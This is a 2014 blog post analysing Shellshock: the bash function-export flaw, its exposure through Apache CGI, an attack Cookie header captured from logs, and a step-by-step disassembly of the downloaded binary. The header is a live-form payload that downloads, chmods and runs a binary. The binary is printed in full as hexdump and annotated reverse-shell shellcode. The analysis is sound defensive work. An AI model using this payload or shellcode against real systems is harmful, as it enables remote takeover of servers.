Shellshock in the Wild

Mike Eldridge
october 2nd, 2014

The recent disclosure of a critical security flaw in the widely used bash command-line shell for Unix operating systems sent many technology professionals scrambling to update their systems. We were certainly among them.

The Vulnerability

The shellshock vulnerability can be traced back to bash’s implementation of shell functions, which are stored in variables named for the function. Bash differentiates functions from ordinary environment variables by looking for an anonymous function construct () { } in the contents of the variable. When a subshell is spawned, the functions are exported into the subshell by evaluating the contents of the variable. Unfortunately, instead of stopping at the closing brace, bash evaluates the /entire/ contents of the variable.

Introduced in 1979 with Bell Laboratories V7 Unix, environment variables are an intrinsic component of all Unix processes. They exist in nearly every modern Unix derivative such as Linux and Mac OS X as well as Microsoft Windows. Many applications take advantage of them and, in some cases, they can be influenced by user-supplied data.

Owing to its implementation of the Common Gateway Interface (CGI) specification, the Apache HTTP server is one such application. To understand why, we consider the following excerpts from RFC 3875, which defines the current CGI 1.1 specification.

From §3.4 –

The script is invoked in a system-defined manner. Unless specified otherwise, the file containing the script will be invoked as an executable program. The server prepares the CGI request as described in section 4; this comprises the request meta-variables (immediately available to the script on execution) and request message data.

From §4.1 –

Meta-variables contain data about the request passed from the server to the script, and are accessed by the script in a system-defined manner.

From §4.1.18 –

Meta-variables with names beginning with “HTTP_” contain values read from the client request header fields, if the protocol used is HTTP. The HTTP header field name is converted to upper case, has all occurrences of “-” replaced with “_” and has “HTTP_” prepended to give the meta-variable name.

The Apache HTTP server uses environment variables to make these meta-variables available to CGI scripts, which are executed in a sub-shell spawned by the server. This is where that “unfortunately, instead of stopping at the closing brace” bit I mentioned earlier rises up and bites us.

The Attack

After rapidly updating all the systems we’re responsible for to guard against the vulnerability, we became curious about how much this (potentially huge) bug was being exploited. We ramped up the logging on our nginx HTTP proxy server. The nginx HTTP server does not implement the CGI specification, so it is immune to this specific attack vector. However, it can still pass along attacks to backend applications.

Only a few hours after the disclosure, we began seeing attacks coming in from the greater Internet.

Here’s the Cookie header provided in one of these attacks. (Line breaks have been introduced for readibility; in the wild this is all one long line.)

Cookie: () { :; }; /bin/bash -c \x22rm /tmp/.osock;
if [ $(/bin/uname -m | /bin/grep 64) ];
then /usr/bin/wget -O /tmp/.osock;
/usr/bin/lwp-download /tmp/.osock;
/usr/bin/curl -o /tmp/.osock;
else /usr/bin/wget -O /tmp/.osock;
/usr/bin/lwp-download /tmp/.osock;
/usr/bin/curl -o /tmp/.osock; fi;
/bin/chmod 777 /tmp/.osock; /tmp/.osock\x22

The payload is arbitrary shell scripting. This particular scripting examines the server’s architecture and downloads one of two executables using three commonly available command-line HTTP clients. The script then sets all read, write, and execute file mode flags and attempts to execute the binary.

It’s worth mentioning that this specific attack relies on the ability to make outbound HTTP requests. If outbound HTTP traffic is disallowed by firewall rules, this specific attack would not succeed. This is a good illustration of why security best practices dictate denying all outbound traffic by default. The presence of such a firewall policy does not, however, ensure that your systems are safe from shellshock.

The Executable

What’s in that binary that is being downloaded, anyway? Well, let’s take a look, shall we!

diz@trappin:~$ curl -so v
diz@trappin:~$ file v
v: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
diz@trappin:~$ hexdump -C v
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 03 00 01 00 00 00 54 80 04 08 34 00 00 00 |........T...4...|
00000020 00 00 00 00 00 00 00 00 34 00 20 00 01 00 00 00 |........4. .....|
00000030 00 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 |................|
00000040 00 80 04 08 9a 00 00 00 e0 00 00 00 07 00 00 00 |................|
00000050 00 10 00 00 31 db 53 43 53 6a 02 6a 66 58 89 e1 |....1.SCSj.jfX..|
00000060 cd 80 93 59 b0 3f cd 80 49 79 f9 5b 5a 68 52 76 |...Y.?..Iy.[ZhRv|
00000070 f2 df 66 68 86 9f 43 66 53 89 e1 b0 66 50 51 53 |..fh..CfS...fPQS|
00000080 89 e1 43 cd 80 52 68 2f 2f 73 68 68 2f 62 69 6e |..C..Rh//shh/bin|
00000090 89 e3 52 53 89 e1 b0 0b cd 80 |..RS......|

The file downloaded is a tiny ELF binary that has a corrupted section header size. Next, we consult the objdump and readelf tools to see what else we can find out about the binary.

diz@trappin:~$ objdump -x v

v: file format elf32-i386
architecture: i386, flags 0x00000102:
start address 0x08048054

Program Header:
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000009a memsz 0x000000e0 flags rwx

Idx Name Size VMA LMA File off Algn
no symbols

diz@trappin:~$ readelf -h v
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048054
Start of program headers: 52 (bytes into file)
Start of section headers: 0 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 1
Size of section headers: 0 (bytes)
Number of section headers: 0
Section header string table index: 0

There is a single program header, but it seems there are no section headers. That might explain why file is reporting a corrupted section header size. Let’s focus on the program header first.

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000009a memsz 0x000000e0 flags rwx

ELF program headers define loadable memory segments or dynamic linking information. In this case, there is only one program header and it maps the entire 154 (0x9a) bytes of the file into a memory segment of 224 (0xe0) bytes beginning at virtual address 0x08048000. This segment is marked readable, writable, and executable.

The entry point address is defined as 0x8048054, which corresponds to an offset of 84 bytes into the file. 0x8048054 - 0x08048000 = 0x54 = 84. If we add up the sizes of the ELF header and the program header that readelf reported, we get 52+32=84.

Execution begins at 84 bytes into the file. Let’s disassemble the binary beginning there and see what the program does.

diz@trappin:~$ ndisasm -b 32 -e 84 -p intel v
00000000 31DB xor ebx,ebx
00000002 53 push ebx
00000003 43 inc ebx
00000004 53 push ebx

First we set the contents of the ebx register to 0 by XORing it with itself. Then we push the contents of the ebx register (0) onto the stack, increment the ebx register, and push the contents of the ebx register (1) onto the stack again.

00000005  6A02              push byte +0x2
00000007 6A66 push byte +0x66
00000009 58 pop eax
0000000A 89E1 mov ecx,esp
0000000C CD80 int 0x80

Here, we see the setup for a system call. The interrupt handler for interrupt vector 0x80 is the Linux kernel. The contents of the eax register is the system call number, and the other registers contain the system call arguments. For a list of system call numbers, see syscall_32.tbl. Here, 0x66 is pushed onto the stack and then popped off and into the eax register. This system call number is 102, which is sys_socketcall. The socketcall system call has the following prototype:

int socketcall(int call, unsigned long *args);

This system call takes two arguments: a socket call number, and a list of arguments. The ebx register is still set to 1, which happens to be sys_socket. The ecx register is set to the address of the stack pointer. The stack has a 2 pushed onto it just prior. The sys_socket function has the following prototype:

long sys_socket(int, int, int);

The sys_socket function is the kernel’s implementation of the socket() C library call, which has the following prototype:

int socket(int domain, int type, int protocol);

As it turns out, the stack’s current contents are three 32-bit values that are, from top to bottom:

0x00000002 (PF_INET=2)
0x00000001 (SOCK_STREAM=1)
0x00000000 (IPPROTO_IP=0)

So, this was a call to the kernel’s socket interface to create a new streaming IP socket, of which there is only one type: TCP.

0000000E  93                xchg eax,ebx
0000000F 59 pop ecx
00000010 B03F mov al,0x3f
00000012 CD80 int 0x80

Here we have the setup for another system call, this time for sys_dup2 (0x3f == 63).

Upon returning from the previous system call, the eax register contains the new socket’s descriptor. The first opcode immediately exchanges the contents of the eax and ebx registers while the last value on the stack (2) is popped off and placed into the ecx register. The contents of the eax, ebx, and ecx registers are 1, 3, and 2 at the time the interrupt is raised.

The sys_dup2 system call is the kernel’s implementation of the dup2() C library function. The prototypes are identical:

long sys_dup2(unsigned int oldfd, unsigned int newfd);
int dup2(int oldfd, int newfd);

A copy of the socket is opened on file descriptor 2, which all Unix programmers will recognize as the file descriptor for STDERR.

00000014  49                dec ecx
00000015 79F9 jns 0x10

The next few instructions comprise a loop. The contents of the ecx register are decremented. If the CPU’s sign flag isn’t set (which would occur if the decrement operation caused ecx to become negative), control jumps back to 00000010, which begins the setup for the sys_dup2 system call. Effectively, we replace stderr (2), stdout (1), and stdin (0) with the socket.

00000017  5B                pop ebx
00000018 5A pop edx
00000019 685276F2DF push dword 0xdff27652
0000001E 6668869F push word 0x9f86
00000022 43 inc ebx
00000023 6653 push bx

Here, we are setting up the sockaddr_in structure for a connection. I had a hunch this is what was happening simply due to the proximity of the dword (32-bit) and word (16-bit) values. IP addresses are 32 bits and port numbers are 16 bits. Seeing the two of them close together in something that’s suspected to be a trojan gave it away.

The sockaddr_in structure looks like this:

struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */

The last two values on the stack (1 and 0 from the earlier system socket call to sys_socket) are popped off of the stack and stored in ebx and edx, respectively. The 0 value placed into the edx register won’t be used until after the next system call.

0xdff27652 is the IPv4 address, which just so happens to be the same address of the server that the binary was downloaded from. It is pushed onto the stack first.

0x9f86 is 34463, a port that was listening on. It’s pushed onto the stack next as a single 16-bit word.

The bx register is a 16-bit register containing the ebx value that is incremented from 1 to 2, again indicating the PF_INET socket family. It’s pushed onto the stack last.

00000025  89E1              mov ecx,esp
00000027 B066 mov al,0x66
00000029 50 push eax
0000002A 51 push ecx
0000002B 53 push ebx
0000002C 89E1 mov ecx,esp
0000002E 43 inc ebx
0000002F CD80 int 0x80

Here we have another system call to sys_socketcall (0x66). The ebx register is incremented again (from 2 to 3), so this will be a call to sys_connect. The prototype for sys_connect looks like this:

long sys_connect(int, struct sockaddr __user *, int);

The stack pointer is copied into the ecx register. This will be the address of the sockaddr structure. Then the contents of the eax, ecx, and ebx registers are all pushed onto the stack and the stack pointer is copied into ecx. These values correspond to the sys_connect call.

int socketcall(int call, unsigned long *args);

The al register is set early on and the reason for that is to provide a a sufficiently high value for the socket address length parameter to the connect() call. The sockaddr_in structure is only 16 bytes, but 0x66 is 102. This works in my tests, but connect() begins failing for any socket address length parameter above 128.

00000031  52                push edx
00000032 682F2F7368 push dword 0x68732f2f
00000037 682F62696E push dword 0x6e69622f

This pushes the null-terminated ASCII character string “/bin//sh” onto the stack. The edx register is 0x00000000 from the aforementioned pop. It is used here not only to terminate the “/bin//sh” reference, but also to terminate an argument list in the following execve() call.

0000003C  89E3              mov ebx,esp
0000003E 52 push edx
0000003F 53 push ebx
00000040 89E1 mov ecx,esp
00000042 B00B mov al,0xb
00000044 CD80 int 0x80

Here we have a system call for sys_execve (0x0b == 11). The interface looks just like its execve() C counterpart:

sys_execve(const char __user *filename,
const char __user *const __user *argv,
const char __user *const __user *envp);

The two arguments (ebx and ecx) will both be set to the stack pointer, which makes both filename and argv equal to “/bin//sh”. The stack contains a null pointer (0x00000000), which terminates the argument list. The environment will be empty, as edx will be 0x00000000.

What this tiny and cleverly-architected bit of code does is spawn a shell and transfer control of it to a remote host. This type of code is called shellcode.


We cannot stress enough how critical this bug is. The ubiquitous nature of environment variables and the wide adoption of the 25-year old bash shell have combined to create an attack surface the size of which we are only just begining to fathom. The Apache HTTP server is only one of many potential attack vectors. Millions of systems will never receive a security fix for this bug.

If you have vulnerable bash versions still deployed, your systems may already be compromised.

Tags: technology security